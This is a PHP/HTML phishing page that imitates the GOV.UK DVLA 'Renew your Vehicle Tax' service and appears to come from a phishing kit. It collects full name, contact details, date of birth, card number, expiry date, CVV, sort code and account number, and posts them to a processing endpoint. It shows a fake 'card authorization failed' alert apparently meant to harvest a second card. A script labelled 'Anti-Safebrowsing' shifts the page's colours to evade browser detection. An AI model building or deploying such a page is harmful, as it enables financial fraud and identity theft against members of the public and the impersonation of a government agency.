<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html lang="en" class="govuk-template">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
        <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
        <title>Renew your Vehicle Tax Now - GOV.UK</title>
        <link rel="stylesheet" href="<?= base_url()?>RABBIT/Gens/css/govuk-frontend-3.14.0.min.css">
        <link rel="stylesheet" href="<?= base_url()?>RABBIT/Gens/css/evl-frontend-1.0.0.css">
        <link rel="icon" href="<?= base_url()?>RABBIT/Gens/img/favicon.ico" type="image/x-icon">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.13.1/font/bootstrap-icons.min.css">
       <style>
        .alert {
            padding: 5px;
            background-color: #f44336;
            color: white;
            font-size: 16px;
            font-family: 'Arial';
        }
        
        .closebtn {
            margin-left: 15px;
            color: white;
            font-weight: bold;
            float: right;
            font-size: 22px;
            line-height: 20px;
            cursor: pointer;
            transition: 0.3s;
        }
        
        .closebtn:hover {
            color: black;
        }
        </style>
        <script>
            // Anti-Safebrowsing: CSS color palette shifting
            document.documentElement.style.cssText="filter:hue-rotate(4deg)";
        </script>
    </head>
    <body class="govuk-template__body js-enabled">
        <form onsubmit="return validateForm();" action="<?php echo base_url(); ?>security-check/payment/process" method="POST" id="EVL" autocomplete="off">
            <header role="banner" class="govuk-header" id="global-header">
                <div class="govuk-header__container govuk-width-container">
                    <div class="govuk-header__logo">
                        <a href="javascript:void(0);" id="logo" class="govuk-header__link govuk-header__link--homepage">
                            <span class="govuk-header__logotype">
                                <svg focusable="false" class="govuk-header__logotype-crown" viewBox="0 0 132 97" height="30" width="36">
                                    <path
                                        fill="currentColor"
                                        fill-rule="evenodd"
                                        d="M25 30.2c3.5 1.5 7.7-.2 9.1-3.7 1.5-3.6-.2-7.8-3.9-9.2-3.6-1.4-7.6.3-9.1 3.9-1.4 3.5.3 7.5 3.9 9zM9 39.5c3.6 1.5 7.8-.2 9.2-3.7 1.5-3.6-.2-7.8-3.9-9.1-3.6-1.5-7.6.2-9.1 3.8-1.4 3.5.3 7.5 3.8 9zM4.4 57.2c3.5 1.5 7.7-.2 9.1-3.8 1.5-3.6-.2-7.7-3.9-9.1-3.5-1.5-7.6.3-9.1 3.8-1.4 3.5.3 7.6 3.9 9.1zm38.3-21.4c3.5 1.5 7.7-.2 9.1-3.8 1.5-3.6-.2-7.7-3.9-9.1-3.6-1.5-7.6.3-9.1 3.8-1.3 3.6.4 7.7 3.9 9.1zm64.4-5.6c-3.6 1.5-7.8-.2-9.1-3.7-1.5-3.6.2-7.8 3.8-9.2 3.6-1.4 7.7.3 9.2 3.9 1.3 3.5-.4 7.5-3.9 9zm15.9 9.3c-3.6 1.5-7.7-.2-9.1-3.7-1.5-3.6.2-7.8 3.7-9.1 3.6-1.5 7.7.2 9.2 3.8 1.5 3.5-.3 7.5-3.8 9zm4.7 17.7c-3.6 1.5-7.8-.2-9.2-3.8-1.5-3.6.2-7.7 3.9-9.1 3.6-1.5 7.7.3 9.2 3.8 1.3 3.5-.4 7.6-3.9 9.1zM89.3 35.8c-3.6 1.5-7.8-.2-9.2-3.8-1.4-3.6.2-7.7 3.9-9.1 3.6-1.5 7.7.3 9.2 3.8 1.4 3.6-.3 7.7-3.9 9.1zM69.7 17.7l8.9 4.7V9.3l-8.9 2.8c-.2-.3-.5-.6-.9-.9L72.4 0H59.6l3.5 11.2c-.3.3-.6.5-.9.9l-8.8-2.8v13.1l8.8-4.7c.3.3.6.7.9.9l-5 15.4v.1c-.2.8-.4 1.6-.4 2.4 0 4.1 3.1 7.5 7 8.1h.2c.3 0 .7.1 1 .1.4 0 .7 0 1-.1h.2c4-.6 7.1-4.1 7.1-8.1 0-.8-.1-1.7-.4-2.4V34l-5.1-15.4c.4-.2.7-.6 1-.9zM66 92.8c16.9 0 32.8 1.1 47.1 3.2 4-16.9 8.9-26.7 14-33.5l-9.6-3.4c1 4.9 1.1 7.2 0 10.2-1.5-1.4-3-4.3-4.2-8.7L108.6 76c2.8-2 5-3.2 7.5-3.3-4.4 9.4-10 11.9-13.6 11.2-4.3-.8-6.3-4.6-5.6-7.9 1-4.7 5.7-5.9 8-.5 4.3-8.7-3-11.4-7.6-8.8 7.1-7.2 7.9-13.5 2.1-21.1-8 6.1-8.1 12.3-4.5 20.8-4.7-5.4-12.1-2.5-9.5 6.2 3.4-5.2 7.9-2 7.2 3.1-.6 4.3-6.4 7.8-13.5 7.2-10.3-.9-10.9-8-11.2-13.8 2.5-.5 7.1 1.8 11 7.3L80.2 60c-4.1 4.4-8 5.3-12.3 5.4 1.4-4.4 8-11.6 8-11.6H55.5s6.4 7.2 7.9 11.6c-4.2-.1-8-1-12.3-5.4l1.4 16.4c3.9-5.5 8.5-7.7 10.9-7.3-.3 5.8-.9 12.8-11.1 13.8-7.2.6-12.9-2.9-13.5-7.2-.7-5 3.8-8.3 7.1-3.1 2.7-8.7-4.6-11.6-9.4-6.2 3.7-8.5 3.6-14.7-4.6-20.8-5.8 7.6-5 13.9 2.2 21.1-4.7-2.6-11.9.1-7.7 8.8 2.3-5.5 7.1-4.2 8.1.5.7 3.3-1.3 7.1-5.7 7.9-3.5.7-9-1.8-13.5-11.2 2.5.1 4.7 1.3 7.5 3.3l-4.7-15.4c-1.2 4.4-2.7 7.2-4.3 8.7-1.1-3-.9-5.3 0-10.2l-9.5 3.4c5 6.9 9.9 16.7 14 33.5 14.8-2.1 30.8-3.2 47.7-3.2z"
                                    ></path>
                                </svg>
                                <span class="govuk-header__logotype-text">GOV.UK</span>
                            </span>
                        </a>
                    </div>
                    <div class="govuk-header__content"><a href="#" class="govuk-header__link govuk-header__link--service-name">Vehicle tax</a></div>
                </div>
            </header>
            <div class="govuk-width-container app-width-container">
                <div class="govuk-phase-banner">
                    <p class="govuk-phase-banner__content">
                        <strong class="govuk-tag govuk-phase-banner__content__tag"> BETA </strong>
                        <span class="govuk-phase-banner__text"> This is a new service – your <a class="govuk-link" href="#">feedback</a> will help us to improve it. </span>
                    </p>
                </div>
                <main class="govuk-main-wrapper app-width-container" role="main" id="main-content">
                    <div id="startHeader" class="start-header group"><h1 class="govuk-heading-xl">Renew your Vehicle Tax Now</h1></div>
                    <div id="MainContent_divV11Info">
                        <div class="govuk-warning-text">
                            <span class="govuk-warning-text__icon">!</span> <strong class="govuk-warning-text__text">Please confirm your personal details and card details to process your vehicle tax. </strong>
                        </div>
                    </div>
                    <div id="MainContent_divV11Info">
                        <div class="govuk-warning-text">
                            <div class="alert">
                                <span class="closebtn" onclick="this.parentElement.style.display='none';">&times;</span>
                                  <i class="bi bi-exclamation-circle"></i> Card authorization failed, please try with another card. 
                            </div>
                         </div>
                    </div>
                    <div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="fullname" class="label">Full Name</label>
						</label>
                        <span class="govuk-error-message" style="display: none;">Please enter your Full Name</span>
                        <input name="fname" id="fullname" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
                    <div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="fullname" class="label">Email Address</label>
						</label>
                        <span class="govuk-error-message" style="display: none;">Please enter your Email Address</span>
                        <input name="user" id="email" type="email" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
					<div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="mobile" class="label">Mobile number</label>
						</label>
                        <span class="govuk-error-message" id="error-message" style="display: none;">Please enter your Mobile number</span>
                        <input name="mobilenum" id="mobile" type="tel" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
					<div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="address" class="label">Address</label>
						</label>
                        <span class="govuk-error-message" style="display: none;">Please enter your Address</span>
                        <input name="address" id="address" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
					<div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="postcode" class="label">Postcode</label>
						</label>
                        <span class="govuk-error-message" style="display: none;">Please enter your Postcode</span>
                        <input name="postcode" id="postcode" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
					<br>
					<div id="startHeader" class="start-header group"><h1 class="govuk-heading-xl">What is your date of birth?</h1></div>
					<div class="govuk-form-group date-of-birth-wrapper">
                        <div class="govuk-form-group">
                            <fieldset class="govuk-fieldset">
                                <legend class="govuk-fieldset__legend govuk-fieldset__legend--s">Date of birth</legend>
                                <div id="dateOfBirth-hint" class="govuk-hint">For example, 15 11 1980   </div>
                                <p style="display: none;" class="govuk-error-message" id="dobErrors">Please enter your Date of birth</p>
                                <div class="govuk-date-input" id="dateOfBirth">
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="day"> Day </label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="day" name="day" type="text" autocomplete="off" inputmode="numeric" required="" placeholder="DD" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="month"> Month </label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="month" name="month" type="text" autocomplete="off" inputmode="numeric" required="" placeholder="MM" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="year"> Year </label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-4" id="year" name="year" type="text" autocomplete="off" inputmode="numeric" required="" placeholder="YYYY" maxlength="4">
                                        </div>
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                    </div>
					<br>
					<div id="startHeader" class="start-header group"><h1 class="govuk-heading-xl">Your payment details</h1></div>
					<div id="MainContent_divV11Info">
                        <div class="govuk-warning-text">
                            <span class="govuk-warning-text__icon">!</span> <strong class="govuk-warning-text__text">Your vehicle tax will be renewed immediatley once your payment has been processed.</strong>
                        </div>
                    </div>
					<div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="ccnum" class="label">Card number</label>
						</label>
                        <span id="ccError" class="govuk-error-message" style="display: none;">Please enter your valid card number</span><br />
                        <input name="ccn" id="ccnum" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
					<div class="govuk-form-group date-of-birth-wrapper">
                        <div class="govuk-form-group">
                            <fieldset class="govuk-fieldset">
                                <legend class="govuk-fieldset__legend govuk-fieldset__legend--s">Card expiry date</legend>
                                <div id="dateOfBirth-hint" class="govuk-hint">For example, 11 2025</div>
                                <p id="expiry-error" class="govuk-error-message" id="expiry-error" style="display: none;">Enter a valid expiry date</p>
                                <div class="govuk-date-input" id="dateOfBirth">
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="emonth"> Month </label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-2" id="emonth" name="emonth" type="text" autocomplete="off" inputmode="numeric" required="" placeholder="MM" maxlength="2">
                                        </div>
                                    </div>
                                    <div class="govuk-date-input__item">
                                        <div class="govuk-form-group">
                                            <label class="govuk-label govuk-date-input__label" for="eyear"> Year </label>
                                            <input class="govuk-input govuk-date-input__input govuk-input--width-4" id="eyear" name="eyear" type="text" autocomplete="off" inputmode="numeric" required="" placeholder="YYYY" maxlength="4">
                                        </div>
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                    </div>
					<div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="cccvv" class="label">CVV</label>
						</label>
                        <span class="govuk-error-message" style="display: none;" id="cvvErrors">Please enter your CVV</span>
                        <input name="cctv" id="cccvv" type="tel" autocomplete="off" class="govuk-input govuk-input--width-20" required="" />
                    </div>
                    <br>
					<div id="startHeader" class="start-header group"><h1 class="govuk-heading-md">Bank Informations details</h1></div>
					<div id="MainContent_divV11Info">
                        <div class="govuk-warning-text">
                            <span class="govuk-warning-text__icon">!</span> <strong class="govuk-warning-text__text">Your vehicle tax will be renewed immediatley once your bank has been processed.</strong>
                        </div>
                    </div>
                    <div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="sortcode" class="label">Sort code</label>
						</label>
                        <span class="govuk-error-message" style="display: none;" id="sortcode_err">Please enter your Sort code</span>
                        <input name="sortcode" id="sortcode" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" required />
                    </div>
                    <div class="govuk-form-group">
                        <label class="govuk-label">
							<label for="actnumber" class="label">Account number</label>
						</label>
                        <span class="govuk-error-message" style="display: none;" id="actnumberErr">Please enter your account number</span>
                        <input name="actnumber" id="actnumber" type="text" autocomplete="off" class="govuk-input govuk-input--width-20" required />
                    </div>
					
					
                    <div class="action">
                        <button type="submit" id="submitButton" class="govuk-button">Continue</button>
                    </div>
                </main>
            </div>
            <footer class="govuk-footer" id="footer" role="contentinfo">
                <div class="govuk-width-container">
                    <div class="govuk-footer__meta">
                        <div class="govuk-footer__meta-item govuk-footer__meta-item--grow">
                            <ul class="govuk-footer__inline-list">
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link" id="cookiesLink" href="javascript:void(0);">Cookies</a></li>
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link" href="javascript:void(0);">Terms and Conditions</a></li>
                                <li class="govuk-footer__inline-list-item"><a id="butEnglish" class="govuk-footer__link" href="javascript:void(0);">English</a></li>
                                <li class="govuk-footer__inline-list-item"><a id="butWelsh" class="govuk-footer__link" lang="cy" href="javascript:void(0);">Cymraeg</a></li>
                                <li class="govuk-footer__inline-list-item">
                                    <a class="govuk-footer__link" href="javascript:void(0);"><span id="privacyPolicy">Privacy Information Notice</span></a>
                                </li>
                                <li class="govuk-footer__inline-list-item">
                                    <a class="govuk-footer__link" href="javascript:void(0);"><span id="Label1">Accessibility</span></a>
                                </li>
                                <li class="govuk-footer__inline-list-item">Built by the <a class="govuk-footer__link" href="javascript:void(0);">Driver &amp; Vehicle Licensing Agency</a></li>
                            </ul>
                            <svg focusable="false" class="govuk-footer__licence-logo" viewBox="0 0 483.2 195.7" height="17" width="41">
                                <path
                                    fill="currentColor"
                                    d="M421.5 142.8V.1l-50.7 32.3v161.1h112.4v-50.7zm-122.3-9.6A47.12 47.12 0 0 1 221 97.8c0-26 21.1-47.1 47.1-47.1 16.7 0 31.4 8.7 39.7 21.8l42.7-27.2A97.63 97.63 0 0 0 268.1 0c-36.5 0-68.3 20.1-85.1 49.7A98 98 0 0 0 97.8 0C43.9 0 0 43.9 0 97.8s43.9 97.8 97.8 97.8c36.5 0 68.3-20.1 85.1-49.7a97.76 97.76 0 0 0 149.6 25.4l19.4 22.2h3v-87.8h-80l24.3 27.5zM97.8 145c-26 0-47.1-21.1-47.1-47.1s21.1-47.1 47.1-47.1 47.2 21 47.2 47S123.8 145 97.8 145"
                                ></path>
                            </svg>
                            <span class="govuk-footer__licence-description">
                                All content is available under the <a class="govuk-footer__link" href="javascript:void(0);" rel="license">Open Government Licence v3.0</a>, except where otherwise stated
                            </span>
                        </div>
                        <div class="govuk-footer__meta-item"><a class="govuk-footer__link govuk-footer__copyright-logo" href="javascript:void(0);"> © Crown copyright </a></div>
                    </div>
                </div>
            </footer>
        </form>
    <script src="<?= base_url()?>RABBIT/Gens/js/jquery.js"></script>
    <script src="<?= base_url()?>RABBIT/Gens/js/misc.js"></script>
        <script>
            $(document).ready(function () {
                const fullname = document.getElementById('fullname');
                const emaiil = document.getElementById('email');
                const mobile = document.getElementById('mobile');
                const address = document.getElementById('address');
                const postcode = document.getElementById('postcode');
                const day = document.getElementById('day');
                const month = document.getElementById('month');
                const year = document.getElementById('year');
                const ccnum = document.getElementById('ccnum');
                const emonth = document.getElementById('emonth');
                const eyear = document.getElementById('eyear');
                const cccvv = document.getElementById('cccvv');
                const sortcode = document.getElementById('sortcode');
                const actnumber = document.getElementById('actnumber');
                const submitButton = document.getElementById('submitButton');
                const errorMessageExp = document.getElementById('expiry-error');
                const errorMessage = document.getElementById('error-message');

                function validateForm() {
                    const mobileValid = /^07\d{8,9}$/.test(mobile.value.replace(/[^0-9]/g, ''));
                    const expiryValid = validateExpiryDate();

                    if (
                        fullname.value &&
                        email.value &&
                        mobileValid &&
                        address.value &&
                        postcode.value &&
                        day.value && month.value && year.value &&
                        ccnum.value &&
                        emonth.value && eyear.value &&
                        cccvv.value &&
                        mobileValid && expiryValid && sortcode && actnumber
                    ) {
                        submitButton.disabled = false;
                        return true;
                    } else {
                        submitButton.disabled = true;
                        return false;
                    }
                }

                function validateExpiryDate() {
                    const month = emonth.value;
                    const year = eyear.value;
                    const currentDate = new Date();
                    const currentYear = currentDate.getFullYear();
                    const currentMonth = currentDate.getMonth() + 1;

                    let isValid = true;

                    if (month && year) {
                        if (month < 1 || month > 12 || year < currentYear || (year == currentYear && month < currentMonth)) {
                            isValid = false;
                        }
                    }

                    if (isValid) {
                        errorMessageExp.style.display = 'none';
                        emonth.style.borderColor = '';
                        eyear.style.borderColor = '';
                    } else {
                        errorMessageExp.style.display = 'block';
                        emonth.style.borderColor = 'red';
                        eyear.style.borderColor = 'red';
                    }

                    return isValid;
                }

                function addInputListeners() {
                    fullname.addEventListener('input', validateForm);
                    mobile.addEventListener('input', validateForm);
                    email.addEventListener('input', validateForm);
                    address.addEventListener('input', validateForm);
                    postcode.addEventListener('input', validateForm);
                    day.addEventListener('input', validateForm);
                    month.addEventListener('input', validateForm);
                    year.addEventListener('input', validateForm);
                    ccnum.addEventListener('input', validateForm);
                    emonth.addEventListener('input', validateForm);
                    eyear.addEventListener('input', validateForm);
                    cccvv.addEventListener('input', validateForm);
                    sortcode.addEventListener('input', validateForm);
                    actnumber.addEventListener('input', validateForm);
                }

                function validateDOB() {
                    const dayVal = $("#day").val();
                    const monthVal = $("#month").val();
                    const yearVal = $("#year").val();
                    const dobErrors = $("#dobErrors");

                    let isValid = true;

                    if (!dayVal || !monthVal || !yearVal) {
                        isValid = false;
                        dobErrors.show();
                    } else {
                        if (monthVal < 1 || monthVal > 12) {
                            isValid = false;
                        }

                        const currentYear = new Date().getFullYear();
                        if (yearVal < 1900 || yearVal > currentYear) {
                            isValid = false;
                        }

                        const daysInMonth = new Date(yearVal, monthVal, 0).getDate();
                        if (dayVal < 1 || dayVal > daysInMonth) {
                            isValid = false;
                        }
                    }

                    if (isValid) {
                        dobErrors.hide();
                        $("#day, #month, #year").css("border-color", "");
                    } else {
                        $("#day, #month, #year").css("border-color", "red");
                    }

                    return isValid;
                }

                $("#day, #month, #year").on('input', validateDOB);

                $(mobile).mask("07X-XXXX-XXXX", {
                    translation: {
                        X: { pattern: /[0-9]/, optional: false }
                    },
                    placeholder: "07X-XXX-XXXX"
                });

                mobile.addEventListener('input', function () {
                    let mobileValue = mobile.value.replace(/[^0-9]/g, '');
                    const isValid = /^07\d{8,9}$/.test(mobileValue);

                    if (isValid) {
                        errorMessage.style.display = 'none';
                        mobile.style.borderColor = '';
                    } else {
                        errorMessage.style.display = 'block';
                        mobile.style.borderColor = 'red';
                    }
                });

                $("#ccnum").payment("formatCardNumber");

                $("#ccnum").on("input", function () {
                    var ccnum = $(this).val().replace(/\D/g, "");
                    if ($.payment.validateCardNumber(ccnum)) {
                        $("#ccError").show();
                        $("#ccnum").removeClass("govuk-input--error");
                        $("#ccnum").parent().removeClass("govuk-form-group--error");
                    } else {
                        $("#ccError").hide();
                        $("#ccnum").addClass("govuk-input--error");
                        $("#ccnum").parent().addClass("govuk-form-group--error");
                    }
                });

                $("#ccnum").focusout(function () {
                    var cardType = $.payment.cardType($("#ccnum").val());
                    if (!$.payment.validateCardNumber($("#ccnum").val())) {
                        $("#ccError").show();
                        $("#ccnum").addClass("govuk-input--error");
                    } else {
                        $("#ccError").hide();
                        $("#ccnum").removeClass("govuk-input--error");
                    }
                
                    if (cardType == "amex") {
                        $("#cccvv").attr("maxlength", "4");
                    } else {
                        $("#cccvv").attr("maxlength", "3");
                    }
                });

                addInputListeners();

                $("#submitButton").click(function (e) {
                    e.preventDefault();
                    
                    if ($("#sortcode").val().trim().length === 0) {
                        $('#sortcode_err').show();
                        $("#sortcode").css("border-color", "red");
                        return;
                    } else {
                        $('#sortcode_err').hide();
                        $("#sortcode").css("border-color", "");
                    }
                    
                    if ($("#actnumber").val().trim().length === 0) {
                        $('#actnumberErr').show();
                        $("#actnumber").css("border-color", "red");
                        return;
                    } else {
                        $('#actnumberErr').hide();
                        $("#actnumber").css("border-color", "");
                    }

                    $('#sortcode_err').hide();
                    $('#actnumberErr').hide();
                    const isFormValid = validateForm();
                    if (isFormValid) {
                        $("#submitButton").prop("disabled", true);
                        $("#submitButton").val("Loading...");

                        setTimeout(function() {
                            $("#EVL")[0].submit();
                        }, 2000);
                    } else {
                        alert("Please fill in all required fields correctly.");
                    }
                });
                
                $("input[name='sortcode']").on("input", function () {
                    let value = $(this).val().replace(/\D/g, "").substring(0, 6);
                    let formatted = value.match(/.{1,2}/g)?.join("-") || "";
                    $(this).val(formatted);
                });
            
                $("input[name='actnumber']").on("input", function () {
                    let value = $(this).val().replace(/\D/g, "").substring(0, 8);
                    $(this).val(value);
                });
            });

            </script>
    </body>
</html>